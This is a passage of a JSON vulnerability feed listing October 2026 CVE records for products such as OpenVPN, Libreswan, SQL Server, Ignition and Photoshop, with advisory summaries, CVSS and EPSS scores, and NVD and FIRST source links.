fixes.","publishedAt":"2026-10-14T01:17:06.203Z","updatedAt":"2026-10-16T19:56:15.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110359","asOf":"2026-10-16T19:56:15.773Z"},"epss":{"probability":0.00119,"percentile":0.01763,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110359&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110359","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110359","type":"primary","publishedAt":"2026-10-14T01:17:06.203Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110359&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110359, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108473","cveId":"CVE-2026-108473","aliases":[],"kind":"vulnerability","title":"Multiple\nKasa devices contain an improper authentication vulnerability in the local\ndevice-management protocol. An unauthenticated adjacent attacker may send\nmanagement...","summary":"Multiple\nKasa devices contain an improper authentication vulnerability in the local\ndevice-management protocol. An unauthenticated adjacent attacker may send\nmanagement instructions to an affected device without adequate authentication\nor authorization, allowing modification of the device state or management\nsettings. Under certain usage conditions involving interaction between the\nuser, mobile application, and device-cloud service, insufficient protection of\naccount-related communications may also expose account information.\n\n\n\n\n\n\n\n\n\nSuccessful\nexploitation may allow an unauthenticated adjacent-network attacker to perform\nunauthorized device-management actions and disrupt legitimate user control.\nUnder certain conditions, account-related information may also be exposed,\npotentially leading to compromise of the associated cloud account.","detail":"Multiple\nKasa devices contain an improper authentication vulnerability in the local\ndevice-management protocol. An unauthenticated adjacent attacker may send\nmanagement instructions to an affected device without adequate authentication\nor authorization, allowing modification of the device state or management\nsettings. Under certain usage conditions involving interaction between the\nuser, mobile application, and device-cloud service, insufficient protection of\naccount-related communications may also expose account information.\n\n\n\n\n\n\n\n\n\nSuccessful\nexploitation may allow an unauthenticated adjacent-network attacker to perform\nunauthorized device-management actions and disrupt legitimate user control.\nUnder certain conditions, account-related information may also be exposed,\npotentially leading to compromise of the associated cloud account.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T01:17:06.030Z","updatedAt":"2026-10-15T15:53:08.287Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108473","asOf":"2026-10-15T15:53:08.287Z"},"epss":{"probability":0.00275,"percentile":0.19668,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108473&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108473","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108473","type":"primary","publishedAt":"2026-10-14T01:17:06.030Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108473&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108473, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92817","cveId":"CVE-2026-92817","aliases":[],"kind":"vulnerability","title":"The Ignition Perspective module does not properly validate session privileges when determining Designer-level access.","summary":"The Ignition Perspective module does not properly validate session privileges when determining Designer-level access. An authenticated user with access to a Vision project could provide their valid Vision session identifier and gain Designer-level privileges. An attacker could exploit these elevated privileges to execute arbitrary code in the context of the Ignition Gateway process.","detail":"The Ignition Perspective module does not properly validate session privileges when determining Designer-level access. An authenticated user with access to a Vision project could provide their valid Vision session identifier and gain Designer-level privileges. An attacker could exploit these elevated privileges to execute arbitrary code in the context of the Ignition Gateway process.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T00:17:13.290Z","updatedAt":"2026-10-14T18:19:35.657Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92817","asOf":"2026-10-14T18:19:35.657Z"},"epss":{"probability":0.00485,"percentile":0.41457,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92817&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92817","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92817","type":"primary","publishedAt":"2026-10-14T00:17:13.290Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92817&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92817, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88964","cveId":"CVE-2026-88964","aliases":[],"kind":"vulnerability","title":"An integer underflow in OpenVPN version 2.7_alpha3 through 2.7.7 on Windows and Android allows remote authenticated servers to cause a denial of service or memory disclosure via...","summary":"An integer underflow in OpenVPN version 2.7_alpha3 through 2.7.7 on Windows and Android allows remote authenticated servers to cause a denial of service or memory disclosure via crafted domain search options","detail":"An integer underflow in OpenVPN version 2.7_alpha3 through 2.7.7 on Windows and Android allows remote authenticated servers to cause a denial of service or memory disclosure via crafted domain search options\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T23:19:13.687Z","updatedAt":"2026-10-15T20:38:04.303Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Android"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88964","asOf":"2026-10-15T20:38:04.303Z"},"epss":{"probability":0.00378,"percentile":0.31498,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88964&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88964","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88964","type":"primary","publishedAt":"2026-10-13T23:19:13.687Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88964&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88964, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-94453","cveId":"CVE-2026-94453","aliases":[],"kind":"vulnerability","title":"Libreswan's pluto daemon has a use-after-free vulnerability when a client connecting using IKE over TCP closes the connection and another packet (retransmit or malicious) is...","summary":"Libreswan's pluto daemon has a use-after-free vulnerability when a client connecting using IKE over TCP closes the connection and another packet (retransmit or malicious) is received for the same tuple. IKE state is retained in memory after the client closes the connection, storing a pointer to iface_endpoint inside ike_sa.sa->st_iface_endpoint. Once this invalid pointer is used, the daemon crashes and restarts. This vulnerability can be triggered before the remote peer has authenticated itself. Continued exploitation can lead to a denial of service. Remote code execution could be possible. The IKE over TCP option is not enabled by default; only configurations that contain listen-tcp=yes are affected.","detail":"Libreswan's pluto daemon has a use-after-free vulnerability when a client connecting using IKE over TCP closes the connection and another packet (retransmit or malicious) is received for the same tuple. IKE state is retained in memory after the client closes the connection, storing a pointer to iface_endpoint inside ike_sa.sa->st_iface_endpoint. Once this invalid pointer is used, the daemon crashes and restarts. This vulnerability can be triggered before the remote peer has authenticated itself. Continued exploitation can lead to a denial of service. Remote code execution could be possible. The IKE over TCP option is not enabled by default; only configurations that contain listen-tcp=yes are affected.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:19:30.253Z","updatedAt":"2026-10-16T19:55:59.740Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-94453","asOf":"2026-10-16T19:55:59.740Z"},"epss":{"probability":0.00454,"percentile":0.39167,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-94453&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-94453","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-94453","type":"primary","publishedAt":"2026-10-13T22:19:30.253Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-94453&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-94453, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-84790","cveId":"CVE-2026-84790","aliases":[],"kind":"vulnerability","title":"OpenVPN 2.7_alpha1 through 2.7.7 allows remote authenticated users to impersonate others via a crafted certificate subject field","summary":"OpenVPN 2.7_alpha1 through 2.7.7 allows remote authenticated users to impersonate others via a crafted certificate subject field","detail":"OpenVPN 2.7_alpha1 through 2.7.7 allows remote authenticated users to impersonate others via a crafted certificate subject field\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:18:58.937Z","updatedAt":"2026-10-18T14:16:56.797Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-84790","asOf":"2026-10-18T14:16:56.797Z"},"epss":{"probability":0.00146,"percentile":0.03814,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-84790&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-84790","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84790","type":"primary","publishedAt":"2026-10-13T22:18:58.937Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-84790&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-84790, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77207","cveId":"CVE-2026-77207","aliases":[],"kind":"vulnerability","title":"Libreswan has a null pointer dereference bug in the PKCS#7 handling code for IKE certificate authentication.","summary":"Libreswan has a null pointer dereference bug in the PKCS#7 handling code for IKE certificate authentication. When libreswan decodes an IKE CERT payload of type CERT_PKCS7_WRAPPED_X509, it guards the PKCS#7 blob with SEC_PKCS7ContainsCertsOrCrls() and then iterates the certificate list with SEC_PKCS7GetCertificateList(). The two NSS APIs disagree on a SignedData that carries a CRL but no certificates: ContainsCertsOrCrls() returns PR_TRUE (there is a CRL), so the guard passes, but GetCertificateList() returns NULL (there are no certificates). This causes libreswan to dereference a null pointer leading to a crash and restart. A malicious IKE_AUTH packet can trigger this bug, meaning the peer does not need to be authenticated. No remote code execution is possible. Continued exploitation can cause a denial of service.","detail":"Libreswan has a null pointer dereference bug in the PKCS#7 handling code for IKE certificate authentication. When libreswan decodes an IKE CERT payload of type CERT_PKCS7_WRAPPED_X509, it guards the PKCS#7 blob with SEC_PKCS7ContainsCertsOrCrls() and then iterates the certificate list with SEC_PKCS7GetCertificateList(). The two NSS APIs disagree on a SignedData that carries a CRL but no certificates: ContainsCertsOrCrls() returns PR_TRUE (there is a CRL), so the guard passes, but GetCertificateList() returns NULL (there are no certificates). This causes libreswan to dereference a null pointer leading to a crash and restart. A malicious IKE_AUTH packet can trigger this bug, meaning the peer does not need to be authenticated. No remote code execution is possible. Continued exploitation can cause a denial of service.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:18:26.040Z","updatedAt":"2026-10-16T19:55:59.740Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77207","asOf":"2026-10-16T19:55:59.740Z"},"epss":{"probability":0.00463,"percentile":0.39834,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-77207&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77207","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77207","type":"primary","publishedAt":"2026-10-13T22:18:26.040Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-77207&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-77207, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77206","cveId":"CVE-2026-77206","aliases":[],"kind":"vulnerability","title":"Libreswan's IKEv2 state machine has a null pointer dereference bug in the EAP handling code for authentication.","summary":"Libreswan's IKEv2 state machine has a null pointer dereference bug in the EAP handling code for authentication. As a result of inconsistency within the IKEv2 state machine code, this bug can be triggered by any IKEv2 connection, even if EAP is not configured at all. The error is caused by a fall-through where it incorrectly dereferences ike->sa.st_eap which is NULL. A malicious IKE_AUTH packet can trigger this bug, meaning the peer does not need to be authenticated. The bug results in a crash and restart of the pluto daemon. No remote code execution is possible. Continued exploitation can cause a denial of service.","detail":"Libreswan's IKEv2 state machine has a null pointer dereference bug in the EAP handling code for authentication. As a result of inconsistency within the IKEv2 state machine code, this bug can be triggered by any IKEv2 connection, even if EAP is not configured at all. The error is caused by a fall-through where it incorrectly dereferences ike->sa.st_eap which is NULL. A malicious IKE_AUTH packet can trigger this bug, meaning the peer does not need to be authenticated. The bug results in a crash and restart of the pluto daemon. No remote code execution is possible. Continued exploitation can cause a denial of service.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:18:24.727Z","updatedAt":"2026-10-16T19:55:59.740Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77206","asOf":"2026-10-16T19:55:59.740Z"},"epss":{"probability":0.00658,"percentile":0.51174,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-77206&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77206","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77206","type":"primary","publishedAt":"2026-10-13T22:18:24.727Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-77206&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-77206, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96956","cveId":"CVE-2026-96956","aliases":[],"kind":"vulnerability","title":"Stack-based buffer overflow in SQL Server allows an authorized attacker to elevate privileges over a network.","summary":"Stack-based buffer overflow in SQL Server allows an authorized attacker to elevate privileges over a network.","detail":"Stack-based buffer overflow in SQL Server allows an authorized attacker to elevate privileges over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:20:14.737Z","updatedAt":"2026-10-16T04:18:44.623Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft SQL Server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96956","asOf":"2026-10-16T04:18:44.623Z"},"epss":{"probability":0.00604,"percentile":0.48612,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96956&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96956","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96956","type":"primary","publishedAt":"2026-10-13T21:20:14.737Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96956&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96956, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96521","cveId":"CVE-2026-96521","aliases":[],"kind":"vulnerability","title":"Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:20:07.220Z","updatedAt":"2026-10-14T15:50:50.180Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96521","asOf":"2026-10-14T15:50:50.180Z"},"epss":{"probability":0.00182,"percentile":0.07753,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96521&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96521","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96521","type":"primary","publishedAt":"2026-10-13T21:20:07.220Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96521&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96521, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-94512","cveId":"CVE-2026-94512","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in SQL Server allows an authorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in SQL Server allows an authorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in SQL Server allows an authorized attacker to execute code over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:19:58.210Z","updatedAt":"2026-10-16T04:18:43.647Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft SQL Server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-94512","asOf":"2026-10-16T04:18:43.647Z"},"epss":{"probability":0.0065,"percentile":0.50849,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-94512&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-94512","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-94512","type":"primary","publishedAt":"2026-10-13T21:19:58.210Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS 